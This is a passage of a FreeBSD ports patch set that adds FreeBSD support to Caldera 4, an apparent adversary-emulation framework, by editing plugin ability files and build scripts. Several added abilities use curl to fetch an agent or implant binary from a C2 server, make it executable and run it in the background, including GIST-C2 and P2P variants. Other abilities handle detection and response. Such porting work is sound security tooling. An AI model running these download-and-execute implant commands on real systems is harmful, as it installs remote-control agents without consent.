\''+humanName+'/human.py\' --clustersize '+taskCount+' ' + + '--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra; + break; ++ case "freebsd": ++ baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' -X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' + ++ ' && virtualenv -p python3.9 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' + ++ '--taskinterval '+taskInterval+' --taskgroupinterval '+taskClusterInterval+' --extra '+extra; ++ break; + case "linux": + baseHuman = 'curl -sk -o \''+humanName+'.tar.gz\' -X POST -H \'file:'+humanName+'.tar.gz\' '+http+'/file/download 2>&1 && mkdir \''+humanName+'\' && tar -C \''+humanName+'\' -zxvf \''+humanName+'.tar.gz\' ' + + ' && virtualenv -p python3 \''+humanName+'\' && \''+humanName+'/bin/pip\' install -r \''+humanName+'/requirements.txt\' && \''+humanName+'/bin/python\' \''+humanName+'/human.py\' --clustersize '+taskCount+' ' + +@@ -293,6 +299,10 @@ + $.each(extra, function(i, command) { + switch (platform) { + case "darwin": ++ command = command.replace(/\\/g, '\\\\'); ++ command = command.replace(/"/g, '\\\"'); ++ break; ++ case "freebsd": + command = command.replace(/\\/g, '\\\\'); + command = command.replace(/"/g, '\\\"'); + break; +@@ -317,4 +327,4 @@ + return provided_value || default_value; + } + +- +\ No newline at end of file ++ diff --git a/security/caldera4/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml b/security/caldera4/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml new file mode 100644 index 000000000000..a641bf2abe45 --- /dev/null +++ b/security/caldera4/files/patch-plugins_manx_data_abilities_command-and-control_356d1722-7784-40c4-822b-0cf864b0b36d.yml @@ -0,0 +1,33 @@ +--- plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml.orig 2022-08-08 23:34:48 UTC ++++ plugins/manx/data/abilities/command-and-control/356d1722-7784-40c4-822b-0cf864b0b36d.yml +@@ -57,6 +57,30 @@ + contact="tcp"; + agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:linux" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; + nohup ./$agent -http $server -socket $socket -contact $contact & ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.tcp}"; ++ contact="tcp"; ++ curl -s -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -http $server -socket $socket -contact $contact -v ++ variations: ++ - description: Run against the UDP contact ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.udp}"; ++ contact="udp"; ++ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -http $server -socket $socket -contact $contact & ++ - description: Download with a random name and start as a background process ++ command: | ++ server="#{app.contact.http}"; ++ socket="#{app.contact.tcp}"; ++ contact="tcp"; ++ agent=$(curl -svkOJ -X POST -H "file:manx.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -http $server -socket $socket -contact $contact & + windows: + psh: + command: | diff --git a/security/caldera4/files/patch-plugins_manx_update-shells.sh b/security/caldera4/files/patch-plugins_manx_update-shells.sh new file mode 100644 index 000000000000..97280531ab7d --- /dev/null +++ b/security/caldera4/files/patch-plugins_manx_update-shells.sh @@ -0,0 +1,12 @@ +--- plugins/manx/update-shells.sh.orig 2022-08-08 23:34:48 UTC ++++ plugins/manx/update-shells.sh +@@ -1,7 +1,8 @@ +-#!/bin/bash ++#!/bin/sh + cwd=$(pwd) + cd shells + GOOS=windows go build -o ../payloads/manx.go-windows -ldflags="-s -w" manx.go + GOOS=linux go build -o ../payloads/manx.go-linux -ldflags="-s -w" manx.go + GOOS=darwin go build -o ../payloads/manx.go-darwin -ldflags="-s -w" manx.go ++GOOS=freebsd go build -o ../payloads/manx.go-freebsd -ldflags="-s -w" manx.go + cd $cwd diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml b/security/caldera4/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml new file mode 100644 index 000000000000..4df13e956c00 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_command-and-control_1837b43e-4fff-46b2-a604-a602f7540469.yml @@ -0,0 +1,15 @@ +--- plugins/response/data/abilities/command-and-control/1837b43e-4fff-46b2-a604-a602f7540469.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/command-and-control/1837b43e-4fff-46b2-a604-a602f7540469.yml +@@ -24,3 +24,12 @@ + python elasticat.py --server=$server --es-host="http://127.0.0.1:9200" --group=blue --minutes-since=60 + cleanup: | + pkill -f elasticat ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:elasticat.py" -H "platform:freebsd" $server/file/download > elasticat.py; ++ pip install requests; ++ python elasticat.py --server=$server --es-host="http://127.0.0.1:9200" --group=blue --minutes-since=60 ++ cleanup: | ++ pkill -f elasticat diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml b/security/caldera4/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml new file mode 100644 index 000000000000..e34453b7e11c --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_detection_1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/detection/1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/1226f8ec-e2e5-4311-88e7-378c0e5cc7ce.yml +@@ -9,7 +9,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + find /var/mail -type f -exec grep "From.*@.*\..*" {} \; | cut -d'@' -f2 | cut -d' ' -f1 | sort --uniq diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml b/security/caldera4/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml new file mode 100644 index 000000000000..2962be97e40c --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_detection_3b4640bc-eacb-407a-a997-105e39788781.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/3b4640bc-eacb-407a-a997-105e39788781.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/3b4640bc-eacb-407a-a997-105e39788781.yml +@@ -17,7 +17,7 @@ + - source: remote.port.unauthorized + edge: has_pid + target: host.pid.unauthorized +- linux: ++ freebsd,linux: + sh: + command: | + ps aux | grep -v grep | grep #{remote.port.unauthorized} | awk '{print $2}' +@@ -34,4 +34,4 @@ + plugins.response.app.parsers.process: + - source: remote.port.unauthorized + edge: has_pid +- target: host.pid.unauthorized +\ No newline at end of file ++ target: host.pid.unauthorized diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml b/security/caldera4/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml new file mode 100644 index 000000000000..5c45a62b261e --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_detection_930236c2-5397-4868-8c7b-72e294a5a376.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/930236c2-5397-4868-8c7b-72e294a5a376.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/930236c2-5397-4868-8c7b-72e294a5a376.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + filepath="#{file.sensitive.path}"; +@@ -46,4 +46,4 @@ + edge: has_hash + target: file.sensitive.hash + - plugins.stockpile.app.requirements.paw_provenance: +- - source: file.sensitive.hash +\ No newline at end of file ++ - source: file.sensitive.hash diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml b/security/caldera4/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml new file mode 100644 index 000000000000..bb5c268f119d --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_detection_9bc10f37-0853-4d73-b547-019c11eda22f.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/detection/9bc10f37-0853-4d73-b547-019c11eda22f.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/9bc10f37-0853-4d73-b547-019c11eda22f.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + directory="#{directory.sensitive.path}"; +@@ -68,4 +68,4 @@ + edge: has_hash + target: directory.sensitive.hash + - plugins.stockpile.app.requirements.paw_provenance: +- - source: directory.sensitive.hash +\ No newline at end of file ++ - source: directory.sensitive.hash diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml b/security/caldera4/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml new file mode 100644 index 000000000000..04e09ebbabbd --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_detection_ee54384f-cfbc-4228-9dc1-cc5632307afb.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/detection/ee54384f-cfbc-4228-9dc1-cc5632307afb.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/detection/ee54384f-cfbc-4228-9dc1-cc5632307afb.yml +@@ -8,7 +8,7 @@ + name: x + repeatable: True + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + set -f; diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml new file mode 100644 index 000000000000..9c0b12919fb9 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/4b283acc-45c0-4de8-b0ac-ac0699e5ab95.yml +@@ -28,7 +28,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml new file mode 100644 index 000000000000..1fa277437813 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_b419604e-6f82-40a4-b215-12f8c8156c2f.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/b419604e-6f82-40a4-b215-12f8c8156c2f.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/b419604e-6f82-40a4-b215-12f8c8156c2f.yml +@@ -25,7 +25,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.parent_guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml new file mode 100644 index 000000000000..2879ff2bff30 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_elastic__hunting_bf565e6a-0037-4aa4-852f-1afa222c76db.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/elastic_hunting/bf565e6a-0037-4aa4-852f-1afa222c76db.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/elastic_hunting/bf565e6a-0037-4aa4-852f-1afa222c76db.yml +@@ -22,7 +22,7 @@ + - source: host.process.guid + edge: has_interesting + target: investigate.process.guid +- linux: ++ freebsd,linux: + elasticsearch: + *cmd + darwin: diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml b/security/caldera4/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml new file mode 100644 index 000000000000..85edefaa30f9 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_response_02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/02fb7fa9-8886-4330-9e65-fa7bb1bc5271.yml +@@ -8,7 +8,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + kill -9 #{host.pid.unauthorized} +@@ -25,4 +25,4 @@ + taskkill /pid #{host.pid.unauthorized} /f + requirements: + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.pid.unauthorized +\ No newline at end of file ++ - source: host.pid.unauthorized diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml b/security/caldera4/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml new file mode 100644 index 000000000000..e28abe22f8d4 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_response_2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/2ca64acd-dc12-4cc8-b78a-6a182508a50b.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + if ! test -f hosts_backup; then cp /etc/hosts hosts_backup; fi; +@@ -27,4 +27,4 @@ + if (-not (Test-Path -Path .\hosts_backup)) { Copy-Item -Path c:\windows\system32\drivers\etc\hosts -Destination .\hosts_backup; }; + Add-Content c:\windows\system32\drivers\etc\hosts "127.0.0.1`t#{remote.suspicious.url}"; + cleanup: | +- Move-Item -Path .\hosts_backup -Destination c:\windows\system32\drivers\etc\hosts -Force +\ No newline at end of file ++ Move-Item -Path .\hosts_backup -Destination c:\windows\system32\drivers\etc\hosts -Force diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml b/security/caldera4/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml new file mode 100644 index 000000000000..26f61e8f83cd --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_response_32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/32e563bb-ba06-4bcc-b817-fc2c434c0b66.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + crontab -u #{host.user.name} -l > temp_crontab; +@@ -35,4 +35,4 @@ + edge: has_new_cronjob + target: host.new.cronjob + - plugins.stockpile.app.requirements.paw_provenance: +- - source: host.new.cronjob +\ No newline at end of file ++ - source: host.new.cronjob diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml b/security/caldera4/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml new file mode 100644 index 000000000000..72c7f5fec0b7 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_response_bf01fdc9-d801-4461-81df-e511efb3c1fc.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/bf01fdc9-d801-4461-81df-e511efb3c1fc.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/bf01fdc9-d801-4461-81df-e511efb3c1fc.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + directory="#{directory.sensitive.path}"; +@@ -40,4 +40,4 @@ + - plugins.stockpile.app.requirements.paw_provenance: + - source: directory.sensitive.backup + - plugins.stockpile.app.requirements.paw_provenance: +- - source: directory.sensitive.path +\ No newline at end of file ++ - source: directory.sensitive.path diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml b/security/caldera4/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml new file mode 100644 index 000000000000..f87d3e750316 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_response_e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/response/e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/response/e846973a-767b-4f9c-8b9e-5249cfcd7b97.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + cp -f /tmp/sensitive_file_backups/#{file.backup.name} #{file.sensitive.path} +@@ -31,4 +31,4 @@ + - plugins.stockpile.app.requirements.paw_provenance: + - source: file.backup.name + - plugins.stockpile.app.requirements.paw_provenance: +- - source: file.sensitive.path +\ No newline at end of file ++ - source: file.sensitive.path diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml new file mode 100644 index 000000000000..fb7e82cf61c0 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_243053d2-13c1-47f0-832d-6ef02ba95e1a.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/setup/243053d2-13c1-47f0-832d-6ef02ba95e1a.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/243053d2-13c1-47f0-832d-6ef02ba95e1a.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml new file mode 100644 index 000000000000..fa5a362e9b9e --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_2ed3c315-2022-499e-a844-1bbd119d0abe.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/2ed3c315-2022-499e-a844-1bbd119d0abe.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/2ed3c315-2022-499e-a844-1bbd119d0abe.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + output=""; +@@ -87,4 +87,4 @@ + } + requirements: + - plugins.response.app.requirements.source_fact: +- - source: directory.sensitive.path +\ No newline at end of file ++ - source: directory.sensitive.path diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml new file mode 100644 index 000000000000..966f5dfa6125 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/34bc0116-13b6-4dd5-b681-9554c2a1fa95.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -67,4 +67,4 @@ + Remove-Item -Recurse -Force C:\Users\Public\sensitive_file_backups; + requirements: + - plugins.response.app.requirements.source_fact: +- - source: file.sensitive.path +\ No newline at end of file ++ - source: file.sensitive.path diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml new file mode 100644 index 000000000000..fac4b766aaa3 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/622e4bda-e5a8-42bb-93d9-a7b1eebc7e41.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -104,4 +104,4 @@ + then rm -f $file; + fi; + done; +- rm -rf /tmp/sensitive_file_backups; +\ No newline at end of file ++ rm -rf /tmp/sensitive_file_backups; diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml new file mode 100644 index 000000000000..5d580c3b3239 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_ba907d7a-b334-47e7-b652-4e481b5aa534.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/ba907d7a-b334-47e7-b652-4e481b5aa534.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/ba907d7a-b334-47e7-b652-4e481b5aa534.yml +@@ -7,7 +7,7 @@ + attack_id: x + name: x + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + echo '' > /tmp/cron_jobs; +@@ -32,4 +32,4 @@ + cat /tmp/cron_jobs | sort > /tmp/baseline_cronjobs_list.txt; + rm /tmp/cron_jobs; + cleanup: | +- rm -f /tmp/baseline_cronjobs_list.txt +\ No newline at end of file ++ rm -f /tmp/baseline_cronjobs_list.txt diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml new file mode 100644 index 000000000000..372ec13b4851 --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_df9d2b83-b40f-4167-af75-31ddde59af7e.yml @@ -0,0 +1,18 @@ +--- plugins/response/data/abilities/setup/df9d2b83-b40f-4167-af75-31ddde59af7e.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/df9d2b83-b40f-4167-af75-31ddde59af7e.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + mkdir -p /tmp/sensitive_file_backups; +@@ -100,4 +100,4 @@ + do if [ ! -s $file ]; + then rm -f $file; + fi; +- done; +\ No newline at end of file ++ done; diff --git a/security/caldera4/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml b/security/caldera4/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml new file mode 100644 index 000000000000..c6a553602a4a --- /dev/null +++ b/security/caldera4/files/patch-plugins_response_data_abilities_setup_f313a0d7-2327-4f69-8da4-a6efd6135121.yml @@ -0,0 +1,11 @@ +--- plugins/response/data/abilities/setup/f313a0d7-2327-4f69-8da4-a6efd6135121.yml.orig 2021-10-13 20:41:40 UTC ++++ plugins/response/data/abilities/setup/f313a0d7-2327-4f69-8da4-a6efd6135121.yml +@@ -7,7 +7,7 @@ + name: x + repeatable: False + platforms: +- linux: ++ freebsd,linux: + sh: + command: | + output=""; diff --git a/security/caldera4/files/patch-plugins_sandcat_app_sand__svc.py b/security/caldera4/files/patch-plugins_sandcat_app_sand__svc.py new file mode 100644 index 000000000000..78a4a9429abf --- /dev/null +++ b/security/caldera4/files/patch-plugins_sandcat_app_sand__svc.py @@ -0,0 +1,14 @@ +--- plugins/sandcat/app/sand_svc.py.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/app/sand_svc.py +@@ -56,7 +56,10 @@ class SandService(BaseService): + ), + linux=dict( + cflags='CGO_ENABLED=1' +- ) ++ ), ++ freebsd=dict( ++ cflags='CGO_ENABLED=1' ++ ), + ) + if which('go') is not None: + if platform in compile_options.keys(): diff --git a/security/caldera4/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml b/security/caldera4/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml new file mode 100644 index 000000000000..051959d4ca5c --- /dev/null +++ b/security/caldera4/files/patch-plugins_sandcat_data_abilities_command-and-control_2f34977d-9558-4c12-abad-349716777c6b.yml @@ -0,0 +1,45 @@ +--- plugins/sandcat/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/data/abilities/command-and-control/2f34977d-9558-4c12-abad-349716777c6b.yml +@@ -80,6 +80,42 @@ + curl -s -X POST -H "file:sandcat.go" -H "platform:linux" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name}; + chmod +x #{agents.implant_name}; + ./#{agents.implant_name} -server $server -listenP2P -v ++ freebsd: ++ sh: ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -group red -v ++ variations: ++ - description: Deploy as a blue-team agent instead of red ++ command: | ++ server="#{app.contact.http}"; ++ agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -server $server -group blue & ++ - description: Download with a random name and start as a background process ++ command: | ++ server="#{app.contact.http}"; ++ agent=$(curl -svkOJ -X POST -H "file:sandcat.go" -H "platform:freebsd" $server/file/download 2>&1 | grep -i "Content-Disposition" | grep -io "filename=.*" | cut -d'=' -f2 | tr -d '"\r') && chmod +x $agent 2>/dev/null; ++ nohup ./$agent -server $server & ++ - description: Compile red-team agent with a comma-separated list of extensions (requires GoLang). ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:#{agent.extensions}" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -group red -v ++ - description: Download with GIST C2 ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:gist" -H "c2:gist" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -c2 GIST -v ++ - description: Deploy as a P2P agent with known peers included in compiled agent ++ command: | ++ server="#{app.contact.http}"; ++ curl -s -X POST -H "file:sandcat.go" -H "platform:freebsd" -H "gocat-extensions:proxy_http" -H "includeProxyPeers:HTTP" $server/file/download > #{agents.implant_name}; ++ chmod +x #{agents.implant_name}; ++ ./#{agents.implant_name} -server $server -listenP2P -v + windows: + psh: + command: | diff --git a/security/caldera4/files/patch-plugins_sandcat_update-agents.sh b/security/caldera4/files/patch-plugins_sandcat_update-agents.sh new file mode 100644 index 000000000000..1d3129337293 --- /dev/null +++ b/security/caldera4/files/patch-plugins_sandcat_update-agents.sh @@ -0,0 +1,16 @@ +--- plugins/sandcat/update-agents.sh.orig 2022-07-20 19:48:00 UTC ++++ plugins/sandcat/update-agents.sh +@@ -1,10 